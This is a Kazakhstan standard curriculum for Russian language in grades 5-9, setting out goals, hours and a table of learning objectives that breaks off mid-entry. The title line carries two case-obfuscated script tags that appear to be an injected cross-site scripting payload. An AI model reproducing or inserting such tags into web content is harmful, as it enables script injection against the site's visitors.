"Орыс тілі "оқу пәні бойынша Типтік оқу бағдарламасы негізгі орта білім беру деңгейінің 5-9 сыныптары үшін жаңартылған мазмұны бойынша<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

25.02.2019

Типовая учебная программа по учебному предмету «Русский язык»

для 5-9 классов уровня основного среднего образования

(с русским языком обучения) по обновленному содержанию

Глава 1. Общие положения

Учебная программа разработана в соответствии с Государственным общеобязательным стандартом среднего образования (начального, основного среднего, общего среднего образования), утвержденным постановлением Правительства Республики Казахстан от 23 августа 2012 года № 1080.
Учебная программа является учебно-нормативным документом, определяющим по каждому учебному предмету/дисциплине содержание и объем знаний, умений, навыков соответственно возрастным познавательным возможностям учащихся.
Учебная программа по предмету разработана на основе принципа «спиральности», согласно которой большинство целей обучения и тем по истечении определенных академических периодов обучения (в течение учебного года или в следующих классах) рассматриваются вновь с постепенным углублением, усложнением и наращиванием объема знаний и навыков по ним.
Учебная программа реализуется в соответствии с долгосрочным планом, определяющим последовательность изучения разделов программы в течение учебного года. Распределение часов, а также последовательность изучения тем в четверти может варьироваться по усмотрению учителя. Долгосрочный план может являться основой для разработки календарно-тематического планирования.
Учебная программа ориентирует процесс обучения на использование методического потенциала каждого предмета для осознанного усвоения учащимися знаний и приобретения умений по предметным областям, развитие самостоятельности путем овладения способами учебной, проектной, исследовательской деятельности, умениями ориентироваться в социокультурном пространстве.
Учебная программа включает традиционные функции учебно-нормативного документа с описаниями инновационных педагогических подходов к организации образовательного процесса в современной школе. Подходы к обучению являются основными ориентирами в построении принципиально новой структуры учебной программы по предмету.
Одним из основных требований к процессу обучения на современном этапе является организация активной деятельности обучающегося по самостоятельному «добыванию» знаний. Такой подход способствует не только приобретению предметных знаний, социальных и коммуникативных навыков, но и личностных качеств, которые позволяют ему осознавать собственные интересы, перспективы и принимать конструктивные решения. Активная познавательная деятельность обучающегося приобретает устойчивый характер в условиях сотворчества и поддержки учителя как партнера, консультанта.
Такого характера усиление личностно-ориентированного образования возможно при использовании интерактивных методов обучения, которые в различных сочетаниях создают предпосылки для сотрудничества всех участников образовательного процесса, не допуская авторитарности во взаимоотношениях. Использование диалоговых и рефлексивных технологий сочетается с организацией проектной и исследовательской деятельности учащихся.
Все инновационные подходы к организации образовательного процесса превращают обучение в модель общения учащихся в реальном творческом процессе, предполагающий активный обмен знаниями, идеями, способами деятельности.
Учебная программа конкретного предмета позволяет развивать активность ученика в познавательном и социальном плане путем организации учебной проектной деятельности, ориентированной на использование материалов регионального характера (объекты, предприятия, источники информации). Проектная деятельность воспитательного характера, осуществляемая в рамках достижения целей обучения данного предмета, может быть организована в партнерстве с родителями, представителями местного сообщества.
В учебных программах каждого предмета предусмотрена реализация трехъязычного образования, которая предполагает обучение не только трем языкам, но и организацию внеурочной деятельности учащихся на трех языках (казахском, русском и английском). Вклад каждого предмета в создание полиязычной обучающей среды в совокупности обеспечивает реализацию политики трехъязычного образования. Коммуникативный подход, являясь основой обучения языкам, рассматривается как ведущий принцип развития речевой деятельности, учащихся средствами каждого учебного предмета – обмен знаниями и навыками в различных учебных ситуациях, правильное использование системы языковых и речевых норм.
В процессе усвоения предметного содержания и достижения целей обучения необходимо создать предпосылки/условия для развития у учащихся навыков применения информационно-коммуникационных технологий, включая поиск, обработку, извлечение, создание и презентацию необходимой информации, сотрудничество для обмена информацией и идеями, оценивание и совершенствование своей работы через использование широкого спектра оборудования и приложений.
В учебной программе сформулированы ожидаемые результаты, представленные в виде системы целей обучения, которые служат основой для определения содержания учебного предмета. В содержательном аспекте учебные программы раскрывают вклад конкретного учебного предмета в воспитание учащегося как субъекта своего учения и субъекта межличностного общения.
Учебные программы обеспечивают реализацию принципа единства воспитания и обучения, основанного на взаимосвязанности и взаимообусловленности ценностей образования и результатов на «выходе» из школы с системой целей обучения конкретного предмета.
Отличительной особенностью учебных программ является их направленность на формирование не только предметных знаний и умений, а также навыков широкого спектра. Выстроенная система целей обучения является основой развития следующих навыков широкого спектра: функциональное и творческое применение знаний, критическое мышление, проведение исследовательских работ, использование информационно-коммуникационных технологий, применение различных способов коммуникации, умение работать в группе и индивидуально, решение проблем и принятие решений. Навыки широкого спектра являются залогом успешности учащихся, как в школьной образовательной практике, так и в перспективе, после окончания школы.
Современные инновации в экономике, изменения на рынке труда обуславливают необходимость владения такими навыками, которые в совокупности позволяют учащимся анализировать и оценивать ситуацию и информацию для решения задач, творчески использовать имеющиеся знания и опыт для синтеза новой идеи и информации. Актуальными становятся такие личностные качества как инициативность, любознательность, готовность к изменениям, коммуникабельность.
Содержание ежедневного образовательного процесса по конкретному предмету подчинено целям обучения и ориентировано на формирование у учащихся готовности творчески использовать приобретенные знания, умения и навыки в любой учебной и жизненной ситуации, развитие настойчивости в достижении успеха, мотивирует к обучению в течение всей жизни.
Развитие личностных качеств в органическом единстве с навыками широкого спектра являются основой для привития учащимся базовых ценностей образования: «казахстанский патриотизм и гражданская ответственность», «уважение», «сотрудничество», «труд и творчество», «открытость», «образование в течение всей жизни». Эти ценности призваны стать устойчивыми личностными ориентирами учащегося, мотивирующими его поведение и повседневную деятельность.
Учебный предмет «Русский язык» в образовательном процессе выполняет две функции: во-первых, является предметом изучения, во-вторых, средством изучения других предметов.
Цель обучения учебному предмету «Русский язык» – развитие творческой, активной языковой личности путем формирования коммуникативных навыков по всем видам речевой деятельности на основе освоения знаний о языке, норм употребления средств разных уровней и их активизации в продуктивной речевой деятельности, а также обогащения словарного запаса.
Предметом обучения является современный русский литературный язык в его реальном функционировании в современных условиях полиэтнического и многоязычного Казахстана.
Задачи обучения:

формирование знаний о русском языке, его функционировании в различных сферах и ситуациях общения, стилистических ресурсах, основных нормах литературного языка (орфоэпических, орфографических, лексических и грамматических) и правилах речевого этикета;
обогащение словарного запаса и расширение круга используемых грамматических средств;
формирование умений оценивать и выбирать языковые средства с точки зрения нормативности, соответствия ситуации общения;
развитие и совершенствование умений создавать устные и письменные монологические высказывания в различных речевых жанрах;
совершенствование умений успешного диалогического общения, ведения дискуссии в разных сферах и коммуникативных ситуациях;
совершенствование орфоэпической, орфографической, пунктуационной и стилистической грамотности;
формирование представлений о национально-культурной специфике русского языка, культуре русского, казахского и других народов;
воспитание сознательного отношения к языку как средству общения, источнику знаний, духовно-нравственной ценности, как к языковому капиталу, способствующему успешной социализации в обществе.

Грамматический материал изучается в контексте речевых тем.
Учебная программа по учебному предмету «Русский язык» рассчитана на 5 лет обучения в основной средней школе.

Глава 2. Организация содержания учебного предмета «Русский язык»

Объем учебной нагрузки по учебному предмету «Русский язык» составляет:

1) в 5 классе – 3 часа в неделю, 102 часа в учебном году;

2) в 6 классе – 3 часа в неделю, 102 часа в учебном году;

3) в 7 классе – 3 часа в неделю, 102 часа в учебном году;

4) в 8 классе – 2 часа в неделю, 68 часов в учебном году;

5) в 9 классе – 2 часа в неделю, 68 часов в учебном году.

Содержание учебной программы по учебному предмету «Русский язык» организовано по разделам обучения. Разделы состоят из подразделов, которые содержат в себе цели обучения в виде ожидаемых результатов по классам.
Цели обучения, обозначенные в каждом подразделе, позволяют учителю системно планировать работу по развитию четырех видов речевой деятельности (слушание, говорение, чтение, письмо), оценивать достижения обучающихся, информировать их о следующих этапах обучения.
Содержание учебного предмета включает 4 раздела:

1) Слушание и говорение;

2) Чтение;

3) Письмо;

4) Соблюдение речевых норм.

Раздел «Слушание и говорение» включает следующие подразделы:
1. Понимание содержания текста;
2. Определение основной мысли;
3. Пересказывание прослушанного материала;
4. Прогнозирование событий;
5. Участие в диалоге;
6. Оценивание прослушанного материала;
7. Построение монологического высказывания.

Раздел «Чтение» включает следующие подразделы:

Понимание информации;
Выявление структурных частей текста и определение основной

мысли;

Понимание применения лексических и синтаксических единиц в прочитанном тексте;
Определение типов и стилей текстов;
Формулирование вопросов и оценивание;
Использование разных видов чтения;
Извлечение информации из различных источников;
Сравнительный анализ текстов.

Раздел «Письмо» включает следующие подразделы:

Составление плана;

2) Изложение содержания прослушанного, прочитанного и аудиовизуального материала;

3) Написание текстов с использованием различных форм представления;

4) Создание текстов различных типов и стилей;

5) Написание эссе;

6) Творческое письмо;

9) Редактирование текстов.

Раздел «Соблюдение речевых норм» включает следующие подразделы:

Соблюдение орфографических норм;
Соблюдение лексических норм;
Соблюдение грамматических норм;
Соблюдение пунктуационных норм.

Базовое тематическое содержание
5 класс

Говорение и слушание: определение главной информации, опора на вопросы при определении темы и основной мысли, повествование, описание, пересказ текста, прогнозирование содержания текста по отрывкам текста, участие в диалоге-расспросе, изменение позиции «говорящий» на «слушающий», оценивание звучащей речи с позиции «нравится/не нравится», «правильно/ неправильно», высказывание определенного типа, опора на наглядные материалы.
Чтение: сплошные и несплошные тексты, определение основной мысли на основе содержания и композиции текста, прямое и переносное значение слов, синонимы, антонимы, омонимы, многозначные слова, описание, повествование, рассуждение, книжный и разговорный стили, письмо, рекламный текст, объявление, дневник, стихотворение, сказка, формулирование вопросов, ознакомительное чтение, извлечение информации для конкретной задачи, сравнение темы и композиции различных текстов.
Письмо: простой план, основное содержание текста, представление информации в виде рисунка, повествование и описание в художественном и разговорном стилях, учет целевой аудитории, эссе-повествование, эссе-рассуждение, творческие работы (120-150 слов), представление себя на месте героя, исправление орфографических ошибок с помощью словаря, редактирование предложений.
Соблюдение речевых норм: гласные и согласные в корне слова, НЕ с именами существительными, прилагательными, отрицательными местоимениями, глаголами, а также окончания в разных частях речи; слова с прямым и переносным значением, синонимы, антонимы, омонимы и многозначные слова, заимствованные слова, эмоционально-окрашенные слова; гиперболы, эпитеты, сравнения; согласование именных частей речи в роде, числе и падеже; знаки препинания при прямой речи и обращении, тире в простом предложении, однородными членами, а также с обобщающим словом при однородных членах предложения.

6 класс

Слушание и говорение: главная и второстепенная информация, определение основной мысли при помощи ключевых слов; подробный, краткий, выборочный пересказ, прогнозирование развития сюжета по ключевым словам, участие в диалоге по предложенной теме, оценивание прослушанного материала с точки зрения содержания, структуры, логики высказывания, монолог описательного или повествовательного характера с элементами рассуждения с опорой на план, схему, иллюстрации, рекламные ролики и т.д.; соблюдение орфоэпических норм.
Чтение: основная информация сплошных и несплошных текстов, извлечение известной и неизвестной информации; определение основной мысли, выявление структурных частей и объяснение смысла построения текста, фразеологизмы, обращения, однородные члены предложения, вопросительные и восклицательные, побудительные предложения; описание, повествование, рассуждение; характерные черты, языковые и жанровые особенности текстов публицистического и художественного стилей (стихотворение, сказка, рассказ, заметка, репортаж, интервью и др.); формулирование вопросов, оценивающих текст с точки зрения актуальности, ценности, качества и полезности; ознакомительное и комментированное чтение; извлечение информации из различных источников, определение разных точек зрения; сравнение стилистических особенностей различных текстов с учетом их композиционных особенностей (стихотворение, сказка, рассказ, заметка, репортаж, интервью).
Письмо: простой и сложный план, подробное, краткое, выборочное изложение текстов-повествований, текстов-описаний от 3 лица, представление информации в виде иллюстраций, комиксов, тексты описание, повествование, рассуждение в публицистическом и художественном стилях (стихотворение, сказка, рассказ, заметка, репортаж, интервью), эссе-повествование, эссе-рассуждение эссе-описание, творческие работы (150-200 слов), исправление орфографических и пунктуационных ошибок с помощью словаря, редактирование текста с учетом его типа.
Соблюдение речевых норм: разделительные Ъ и Ь знаки, сложные имена существительные, прилагательные, числительные, неопределенные местоимения, а также приставки и суффиксы в разных частях речи; фразеологические обороты; метафоры, олицетворения, риторические фигуры, антитеза, перифраз; падежные формы числительных, прилагательных, местоимений; степени сравнения прилагательных и наречий; знаки препинания в предложениях с вводными конструкциями, при прямой и косвенной речи.

7 класс

Слушание и говорение: главная и второстепенная, известная и неизвестная информация; определение основной мысли с опорой на структуру; подробный, краткий, выборочный пересказ с изменением лица; прогнозирование содержания с опорой на основную мысль; участие в диалоге и аргументация; оценивание прослушанного материала с точки зрения содержания, использования языковых средств для привлечения внимания, структуры и логики изложения материала; аргументированный монолог (описание, повествование, рассуждение), включающий не менее 2 микротем, на основе плана, схем, иллюстраций, рекламных роликов и т.д.
Чтение: сплошные и несплошные тексты, извлечение главной и второстепенной информации; структурные части и их элементы (предложения, абзацы), раскрывающие основную мысль; явное и скрытое (подтекст) значение отдельных слов и выражений в тексте, паронимы, вводные слова, повторы, прямой и обратный порядок слов в предложении; смешанные типы текстов, характерные черты, языковые и жанровые особенности текстов публицистического и официально-делового стилей (объяснительная записка, расписка, правило, поздравление, инструкция, заметка, интервью, дневник, блог, письма: просьбы, приглашения, информационные и другие); формулирование различных вопросов на основе выводов и заключений; разные виды чтения, в том числе поисковое; разграничение факта и мнения; стилистические особенности различных текстов с учетом композиции и языковых особенностей, цели и целевой аудитории (объяснительная записка, расписка, правило, поздравление, инструкция, заметка, интервью, дневник, блог, письма: просьбы, приглашения, информационные и другие).
Письмо: простой и сложный план; подробное, краткое, выборочное изложение содержания текстов-повествований, текстов-описаний и текстов-рассуждений с изменением лица; схемы, таблицы, диаграммы; тексты-описания с элементами повествования, тексты-повествования с элементами рассуждения, тексты публицистического и официально-делового стилей (объяснительная записка, расписка, правило, поздравление, инструкция, заметка, интервью, дневник, блог, письма: просьбы, приглашения, информационные и другие), выражение собственного мнения, разные виды эссе, аргументативное эссе; творческие работы (200-250 слов), выбор определенной социальной роли и речевого поведения; исправление смысловых, фактических, логических недочетов; редактирование текста, изменение структуры отдельных предложений или фрагментов текста.
Соблюдение речевых норм: гласные после шипящих и Ц, НЕ с разными частями речи, окончания глаголов, суффиксы в разных частях речи, паронимы, термины; аллегория, инверсия, анафора, глагол и его формы, служебные части речи, нормы глагольного управления, знаки препинания в простых, осложненных обособленным определением и обстоятельством предложениях.

8 класс

Слушание и говорение: открытая и скрытая (подтекст) информация, цель высказывания; определение основной мысли на основе структурных элементов текста и целевой аудитории; пересказ содержания текстов различных типов речи с изменением лица и сохранением структуры исходного текста; прогнозирование содержания по названию текста или началу; участие в дискуссии, аргументация, выводы; оценивание прослушанного материала с точки зрения темпа речи и соответствия целевой аудитории; развёрнутый аргументированный монолог (рассуждение с элементами описания и повествования, убеждение), включающий не менее 2 микротем на основе блогов и сообщений СМИ.
Чтение: основная информация сплошных и несплошных текстов; особенности письменной формы устной речи, извлечение открытой и скрытой (подтекст) информации; особенности структуры текста, раскрывающие основную мысль; подразумеваемый смысл отдельных слов, словосочетаний и предложений в тексте, эмоционально-окрашенных и профессиональных слов, неологизмов, окказионализмов с учетом лексической сочетаемости; смешанные типы текстов, характерные черты, языковые и жанровые особенности публицистического, разговорного, научного, официально-делового стилей (репортаж, фельетон, статья, интервью, очерк, обзор, послание, характеристика, биография, автобиография, аннотация, тезисы, реферат, доклад, комментарии в блоге, чате, форуме и др.), формулирование вопросов и собственных идей на основе прочитанного текста, разграничение факта и мнения; разные виды чтения, в том числе изучающее; извлечение и синтез информации из различных источников, определение ее актуальности, противоречивости, достоверности; сравнение стилистических особенностей различных текстов с учетом цели и целевой аудитории композиционных, языковых (репортаж, фельетон, статья, интервью, очерк, обзор, послание, характеристика, биография, автобиография, аннотация, тезисы, реферат, доклад, комментарии в блоге, чате, форуме и др.).
Письмо: цитатный план (простой и сложный); подробное, краткое, выборочное изложение содержания текстов смешанного типа с изменением лица; представление информации сплошных текстов в виде рисунков, схем, таблиц, диаграмм и др. и наоборот; тексты-описания с элементами рассуждения, тексты-повествования с элементами описания, тексты публицистического, официально-делового и научного, разговорного стилей (репортаж, фельетон, статья, интервью, очерк, обзор, послание, характеристика, биография, автобиография, аннотация, тезисы, реферат, доклад, комментарии в блоге, чате, форуме и др.); разные виды эссе, в том числе академическое; творческие работы (250-300 слов), фрагмент/фрагменты текста, являющиеся контрастными по содержанию; исправление смысловых, фактических, логических, стилистических недочетов; редактирование текста, изменение структуры текста.
Соблюдение речевых норм: омонимичные самостоятельные и служебные части речи, профессиональные слова, термины, неологизмы; инверсия, градация; обособленные члены предложения; знаки препинания при уточняющих членах предложения, цитировании, а также в неполных предложениях.

9 класс

Слушание и говорение: основная и детальная информация текста, высказывание критического отношения к услышанному; определение основной мысли на основе микротем, выражение своего отношения к услышанному; пересказ содержания текстов смешанного типа с творческой интерпретацией информации; прогнозирование содержания по финалу текста; участие в полемике, синтез различных точек зрения; оценивание прослушанного материала с точки зрения нормативности речи, содержания, структуры, логики изложения материала, выражение собственного мнения; развёрнутый аргументированный монолог (рассуждение на заданную тему, убеждение), включающий не менее 3 микротем в пределах учебной, общественно-политической и социально-культурной сфер; использование модели речевого поведения в соответствии с речевыми нормами в конкретной ситуации.
Чтение: открытая и скрытая (подтекст) информация сплошных и несплошных текстов, соотнесение заключённой в тексте информации с информацией других источников /личным опытом; выявление особенностей и роли структуры текста в передаче основной мысли; аббревиация, парцелляция, ирония, намёк, преуменьшение, преувеличение и другие приемы в словосочетаниях; типы текстов, характерные черты, языковые особенности текстов разных жанров, стилей и подстилей (научная статья, отчет о поездке и т.д.); формулирование вопросов и идей, интерпретация содержания текстов; разные виды чтения, в том числе просмотровое чтение, чтение с составлением плана, тезисов, конспектов; извлечение и синтез информации из различных источников, выводы на основе полученных сведений, выражение собственного мнения; сравнение стилистических особенностей: композиционные, языковые и жанровые особенности различных текстов, принятие во внимание цели, целевой аудитории и позиции автора (научная статья, отчет о поездке и т.д.).
Письмо: разные виды плана, в том числе цитатный, тезисный; изложение содержания текстов, синтез информации прослушанного, прочитанного и аудиовизуального материала; представление информации в виде презентаций с использованием ссылок, гиперссылок; тексты-описания с элементами рассуждения, тексты-повествования с элементами рассуждения соответствующих стилей (научная статья, отчет о поездке и др.).
Соблюдение речевых норм: орфографические нормы, стилистически окрашенные слова, аббревиатура, парцелляция, морфологические средства связи (союзы и союзные слова) в сложных предложениях, знаки препинания в простых, простых осложненных и сложных предложениях.

Глава 3. Система целей обучения

Учителя вправе самостоятельно определять порядок изучения подразделов или целей обучения в рамках раздела и соответствующей четверти. Учителя имеют право самостоятельно определять количество времени, необходимое для изучения темы и достижения цели обучения. Учителя имеют право разрабатывать задания, нацеленные на достижение более чем одной цели обучения. Учебная программа предоставляет учителям возможность преобразовать цель обучения на несколько целей урока / уроков, выполнение которых в совокупности приведет достижению цели обучения из учебной программы.
Система целей обучения:

1) Слушание и говорение

Обучающиеся должны уметь:

Подраздел

5 класс

6 класс

7 класс

8 класс

9 класс

СГ 1

Понима-ние

содержа-ния текста

5.СГ1.

понимать основное содержание текста, определяя главную информа-цию

6.СГ1.

понимать основное содержание текста, извлекая главную и второстепен-ную информа-цию

7.СГ1.

понимать основное содержание текста, извлекая главную и второстепен-ную, известную и неизвестную информацию

8.СГ1.

понимать содержание текста, определяя открытую и скрытую (подтекст) информацию, цель высказывания

9.СГ1.

понимать основную и детальную информацию текста, высказывая критическое отношение к услышанному

СГ 2

Определе-ние основной мысли

5.СГ2.

определять тему и основную мысль, опираясь на вопросы

6.СГ2.

определять основную мысль, опираясь на ключевые слова, словосочета-ния и др.

7.СГ2.

пределять основную мысль, опираясь на структуру

8.СГ2.

определять основную мысль на основе структурных элементов текста и целевой аудитории

9.СГ2.

определять основную мысль на основе микротем, выражая свое отношение к услышанному

СГ 3

Переска-зывание прослу-шанного материала

5.СГ3.

переска-зывать содержание текстов (повествова-ние, описание), используя эмоцио-нально-окрашен-ные слова

6.СГ3.

пересказы-вать подробно, кратко, выборочно содержание текстов (повествова-ние, описание) от 3-го лица

7.СГ3.

пересказывать подробно, кратко, выборочно содержание текстов (повествова-ние, описание и рассуждение) с изменением лица

8.СГ3.

пересказывать содержание текстов различных типов речи с изменением лица, сохраняя структуру исходного текста

9.СГ3.

пересказывать содержание текстов смешанного типа, творчески интерпрети-руя информацию

СГ 4

Прогнози-рование событий

5.СГ4.

прогнози-ровать содержание по отрывкам текста

6.СГ4.

прогнозиро-вать развитие сюжета по ключевым словам

7.СГ4.

прогнозиро-вать содержание, исходя из основной мысли текста

8.СГ4.

прогнозиро-вать содержание по названию текста или началу

9.СГ4.

прогнозировать содержание по финалу текста

СГ 5

Участие в диалоге

5.СГ5.

участвовать в диалоге-расспросе, меняя позицию «говоря-щий» на «слуша-ющий» и учитывая возрастные особеннос-ти исполня-емой роли

6.СГ5.

участвовать в диалоге, обмениваясь мнениями по предложен-ной теме

7.СГ5.

участвовать в диалоге по предложен-ной проблеме, аргументируя свою точку зрения

8.СГ5.

участвовать в дискуссии по предложенной проблеме, аргументируя собственные утверждения, убеждая оппонента в правильности своей позиции, делать выводы

9.СГ5.

участвовать в полемике, синтезируя различные точки зрения и предлагая решение проблемы

СГ 6

Оценива-ние прослушанного

материала

5.СГ6.

оценивать звучащую речь с позиции «нравится /не нравится», «правильно/ неправиль-но», аргументи-руя свою позицию

6.СГ6.

оценивать прослушан-ный материал с точки зрения содержания, структуры высказыва-ния и логики изложения материала

7.СГ6.

оценивать прослушан-ный материал с точки зрения содержания, использова-ния языковых средств для привлечения внимания, структуры и логики изложения материала

8.СГ6.

оценивать прослушанный материал с точки зрения темпа речи и соответствия целевой аудитории

9.СГ6.

оценивать прослушан-ный материал с точки зрения нормативнос-ти речи, содержания, структуры, логики изложения материала, выражая собственное мнение

СГ 7

Построе-ние монологи-ческого высказы-вания

5.СГ7.

строить высказыва-ние определенного типа последова-тельно, с четкой структурой, с опорой на наглядные материалы;

соблюдать орфоэпичес-кие нормы

6.СГ7.

строить монолог описательного или повествова-тельного характера с элементами рассуждения с опорой на план, схему, иллюстра-ции, рекламные ролики и т.д.;

соблюдать орфоэпичес-кие нормы

7.СГ7.

строить аргументиро-анный

монолог (описание, повествова-ние, рассуждение), включающий не менее

2 микротем, на основе плана, схем, иллюстраций, рекламных роликов и т.д.;

соблюдать орфоэпичес-кие нормы

8.СГ7.

строить развёрнутый аргументиро-ванный

монолог (рассуждение с элементами описания и повествования, убеждение), включающий не менее 2 микротем в пределах учебной, социально-культурной и общественно- политической сфер, на основе блогов и сообщений СМИ с учетом целевой аудитории;

соблюдать орфоэпические нормы

9.СГ7. строить развёрнутый аргументиро-ванный монолог (рассуждение на заданную тему, убеждение), включающий не менее 3 микротем в пределах учебной, общественно-политической и социально-культурной сфер;

использовать модели речевого поведения в соответствии с речевыми нормами в конкретной ситуации

2) Чтение

Обучающиеся должны уметь:

Подраздел

5 класс

6 класс

7 класс

8 класс

9 класс

Ч 1

Понимание информа-ции

5.Ч1.

понимать основную информацию сплошных и несплош-ных текстов, определяя тему

6.Ч1.

понимать основную информацию сплошных и несплошных текстов, извлекая известную и неизвестную информацию

7.Ч1.

понимать основную информацию сплошных и несплошных текстов, извлекая главную и второстепен-ную информацию

8.Ч1.

понимать основную информацию сплошных и несплошных текстов (в том числе особенности письменной формы речи), извлекая открытую и скрытую (подтекст) информацию

9.Ч1.

понимать открытую и скрытую (подтекст) информацию сплошных и несплошных текстов, соотнося заключённую в тексте информацию с информацией других источников /личным опытом

Ч 2

Выявление структур-ных частей текста и определение основной мысли

5.Ч2.

определять основную мысль на основе содержания и композиции

6.Ч2.

определять основную мысль, выявляя структурные части и объясняя смысл построения текста

7.Ч2.

выявлять структурные части и их элементы (предложе-ния, абзацы), раскрыва-ющие основную мысль

8.Ч2.

выявлять особенности структуры текста, раскрыва-ющие основную мысль

9.Ч2.

выявлять особенности и роль структуры текста в передаче основной мысли

Ч 3

Понимание примене-ния лексичес-ких и синтакси-ческих

единиц

в прочитан-ном тексте

5.Ч3.

понимать применение прямого и переносного значения слов, синонимов, антонимов, омонимов и многознач-ных слов, синтаксических единиц, использованных автором в тексте для различных целей

6.Ч3.

понимать применение фразеологиз-мов, обращений, однородных членов предложений, вопроситель-ных и восклицательных, побудитель-ных предложений

7.Ч3.

понимать применение и объяснять явное и скрытое (подтекст) значение отдельных слов и выражений в тексте, использова-ние паронимов, вводных слов, повторов, прямого и обратного порядка слов в предложении

8.Ч3.

понимать применение и объяснять подразумева-емый смысл отдельных слов, словосочета-ний и предложений в тексте, эмоциональ-но-окрашенных и профессио-нальных слов, неологизмов, окказионализмов с учетом лексической

сочетаемости

9.Ч3.

понимать применение аббревиации, парцелляции, иронии, намёков, преуменьше-ния, преувеличе-ния и другие приемы в словосочета-ниях

Ч 4

Определе-ние типов и стилей текстов

5.Ч4.

определять типы текстов: описание, повествова-ние и рассуж-дение, различать книжный и разговор-ный стили по основным признакам (письмо, рекламный текст, объявление, дневник, стихотворе-ние, сказка и др.)

6.Ч4.

определять и различать типы текстов: описание, повествова-ние, рассуждение; распознавать характерные черты, языковые и жанровые особенности текстов публицистического и художествен-ного стилей (стихотворе-ние, сказка, рассказ, заметка, репортаж, интервью и др.)

7.Ч4.

определять смешанные типы текстов и различать характерные черты, языковые и жанровые особенности текстов публицистического и официально-делового стилей (объяснитель-ная записка, расписка, правило, поздравление, инструкция, заметка, интервью, дневник, блог, письма: просьбы, приглашения и др.)

8.Ч4.

определять смешанные типы текстов, различать характерные черты, языковые и жанровые особенности публицистического, разговорного, научного, официально-делового стилей (репортаж, фельетон, статья, интервью, очерк, обзор, послание, характеристи-ка, биография, автобиогра-фия, аннотация, тезисы, реферат, доклад, комментарии в блоге, чате, форуме и др.)

9.Ч4.

определять типы текстов, характерные черты, языковые особенности текстов разных жанров, стилей и подстилей

(научная статья, отчет о поездке и т.д.)

Ч 5

Формули-рование вопросов и оценивание

5.Ч5.

формулиро-вать вопросы, отража-ющие отношение к тексту

6.Ч5.

формулировать вопросы, оценивающие текст с точки зрения актуальности, ценности, качества и полезности

7.Ч5.

формулиро-вать различные вопросы

на основе выводов и заключений

8.Ч5.

формулиро-вать вопросы и собственные идеи на основе прочитанного текста, различать факт и мнение

9.Ч5.

формулиро-вать вопросы и идеи, интерпрети-руя содержание текстов

Ч 6

Использование разных видов чтения

5.Ч6.

использо-

вать ознакоми-тельный вид чтения

6.Ч6.

использовать виды чтения: ознакомительное, комментиро-ванное

7.Ч6.

использовать разные виды чтения, в том числе поисковое

8.Ч6.

использовать разные виды чтения, в том числе изучающее

9.Ч6.

использовать разные виды чтения, в том числе просмотровое чтение, чтение с составлением плана, тезисов, конспектов

Ч 7

Извлечение информа-ции из различных источников

5.Ч7.извлекать информа-цию для выполнения конкретной задачи

6.Ч7.извлекать информацию из различных источников, сравнивая полученные сведения, определяя разные точки зрения

7.Ч7.извлекать информацию из различных источников, различая факт и мнение

8.Ч7.извлекать и синтезировать информацию из различных источников, определяя ее актуальность, противоречи-вость, достоверность, целевую аудиторию

9.Ч7.извлекать и синтезиро-вать информацию из различных источников, интерпретировать, делать выводы на основе полученных сведений, выражая собственное мнение

Ч 8

Сравнительный

анализ текстов

5.Ч8.

сравнивать темы и композиции различных текстов (письмо, рекламный текст, объявление, дневник, стихотворе-ние, сказка)

6.Ч8.

сравнивать стилистичес-кие особенности различных текстов с учетом композицион-ных особенностей различных текстов (стихотворе-ние, сказка, рассказ,

заметка, репортаж, интервью) с

учетом цели и целевой аудитории

7.Ч8.

сравнивать стилистичес-кие особенности различных текстов с учетом композиции и языковых особенностей, цели и целевой аудитории (объяснитель-ная записка, расписка, правило, поздравление, инструкция, заметка, интервью, дневник, блог, письма: просьбы, приглашения и др.)

8.Ч8.

сравнивать стилистичес-кие (композиционные, языковые) особенности различных текстов с учетом цели и целевой аудитории (репортаж, фельетон, статья, интервью, очерк, обзор, послание, характеристи-ка, биография, автобиогра-фия, аннотация, тезисы, реферат, доклад, комментарии в блоге, чате, форуме и др.)

9.Ч8.

равнивать стилистичес-кие (композиционные, языковые, жанровые) особенности различных текстов, учитывая цель, целевую аудиторию и позицию автора (научная статья, отчет о поездке и т.д.)

3) Письмо

Обучающиеся должны уметь:

Подраздел

5 класс

6 класс

7 класс

8 класс

9 класс

П 1

Составление

плана

5.П1.

составлять простой план

6.П1.

составлять простой и сложный план

7.П1.

составлять простой и сложный план, собирать материал к сочинению и организовы-вать его в соответствии с планом

8.П1.

составлять цитатный план (простой и сложный), учитывая жанровое своеобразие текста

9.П1.

составлять разные виды плана, в том числе цитатный, тезисный

П 2

Изложение содержания прослушан-ного, прочитан-ного и аудиовизу-ального материала

5.П2. излагать основное содержа-ние текста

6.П2. излагать подробно, кратко, выборочно содержание текстов-повествова-ний, текстов-описаний от 3-го лица

7.П2.излагать подробно, кратко, выборочно содержание текстов-повествова-ний, текстов-описаний и текстов-рассуждений с изменением лица

8.П2. излагать подробно, кратко, выборочно содержание текстов смешанного типа с изменением лица

9.П2. излагать содержание текстов, синтезируя информацию прослушан-ного, прочитанного и аудиовизу-ального материала

П 3

Написание текстов с использова-нием различных форм представле-ния

5.П3. представ-лять информа-цию в виде рисунков

6.П3. представ-лять информа-цию в виде иллюстра-ций, комиксов, в т.ч. с использова-нием информаци-онно-коммуника-ционных технологий

7.П3. представлять информацию в виде различных схем, таблиц, диаграмм

8.П3. представлять информацию сплошных текстов в виде рисунков, схем, таблиц, диаграмм и др. и наоборот

9.П3.представлять информацию в виде презентаций с использова-нием ссылок, гиперссылок

П 4

Создание текстов различных типов и стилей

5.П4.

создавать тексты- повество-

вание и описание в художест-венном и разговор-ном стилях (письмо, рекламный текст, объявле-ние, дневник, стихотво-рение, сказка) с учетом целевой аудитории

6.П4.

создавать тексты- описание, повествова-ние, рассуждение в публицисти-ческом и

художествен-ном стилях (стихотворе-ние, сказка, рассказ,

заметка, репортаж, интервью) с учетом целевой аудитории

7.П4.

создавать тексты- описание с элементами повествова-ния, повествование с элементами рассуждения

и создавать тексты публицисти-ческого и официально-делового стилей (объясни-тельная записка, расписка, правило, поздравление, инструкция,

заметка, интервью, дневник, блог, письма: просьбы, приглашения и др.) с учетом целевой аудитории, выражая собственное мнение

8.П4.

создавать тексты- описание с элементами рассуждения, повествова-ние с элементами описания

и создавать тексты публицистического, официально-делового, научного, разговорного стилей

(репортаж, фельетон, статья, интервью, очерк, обзор, послание, характеристи-ка, биография, автобиогра-фия, аннотация, тезисы, реферат, доклад, комментарии в блоге, чате, форуме и др.) с учетом целевой аудитории

9.П4.

